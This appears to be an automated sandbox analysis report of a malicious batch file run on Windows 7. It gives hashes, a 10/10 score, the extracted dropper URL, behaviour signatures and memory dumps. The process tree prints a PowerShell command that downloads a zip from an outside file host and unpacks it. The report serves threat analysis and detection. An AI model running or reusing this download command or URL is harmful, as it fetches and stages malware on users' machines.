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Analysis

  • max time kernel
    1556s
  • max time network
    1561s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14/10/2023, 01:32

General

  • Target

    tesy - Copy (5).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1252

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    890b2afa3feec9fa164f783508c307e5

    SHA1

    bb74cc8bcacada8356cd58fbc316a2c61b47f7f0

    SHA256

    7ad30beb9264c4d84212f9313ff6d872ce075b498ff8208153689536c696f20e

    SHA512

    ce08db39bdda0b935971a031620798f4f3ddd69f24a0bcbea9bf66a838158581e61d2c63a98403d3ce6fbbad4597b84fa6452fb3e5457e6948fa5221c9385b60

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YEHGY2OTZSP3AFIRCBE9.temp

    Filesize

    7KB

    MD5

    890b2afa3feec9fa164f783508c307e5

    SHA1

    bb74cc8bcacada8356cd58fbc316a2c61b47f7f0

    SHA256

    7ad30beb9264c4d84212f9313ff6d872ce075b498ff8208153689536c696f20e

    SHA512

    ce08db39bdda0b935971a031620798f4f3ddd69f24a0bcbea9bf66a838158581e61d2c63a98403d3ce6fbbad4597b84fa6452fb3e5457e6948fa5221c9385b60

  • memory/1252-26-0x0000000002AA0000-0x0000000002B20000-memory.dmp

    Filesize

    512KB

  • memory/1252-21-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

    Filesize

    32KB

  • memory/1252-32-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1252-31-0x0000000002AA0000-0x0000000002B20000-memory.dmp

    Filesize

    512KB

  • memory/1252-30-0x0000000002AA0000-0x0000000002B20000-memory.dmp

    Filesize

    512KB

  • memory/1252-29-0x0000000002AA0000-0x0000000002B20000-memory.dmp

    Filesize

    512KB

  • memory/1252-28-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1252-24-0x0000000002AA0000-0x0000000002B20000-memory.dmp

    Filesize

    512KB

  • memory/1252-22-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1252-20-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1252-27-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1252-19-0x000000001B2A0000-0x000000001B582000-memory.dmp

    Filesize

    2.9MB

  • memory/1252-25-0x0000000002AA0000-0x0000000002B20000-memory.dmp

    Filesize

    512KB

  • memory/1252-23-0x0000000002AA0000-0x0000000002B20000-memory.dmp

    Filesize

    512KB

  • memory/2652-5-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

    Filesize

    32KB

  • memory/2652-6-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2652-4-0x000000001B460000-0x000000001B742000-memory.dmp

    Filesize

    2.9MB

  • memory/2652-7-0x00000000024A0000-0x0000000002520000-memory.dmp

    Filesize

    512KB

  • memory/2652-13-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2652-11-0x00000000024A0000-0x0000000002520000-memory.dmp

    Filesize

    512KB

  • memory/2652-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2652-9-0x00000000024A0000-0x0000000002520000-memory.dmp

    Filesize

    512KB

  • memory/2652-8-0x00000000024A0000-0x0000000002520000-memory.dmp

    Filesize

    512KB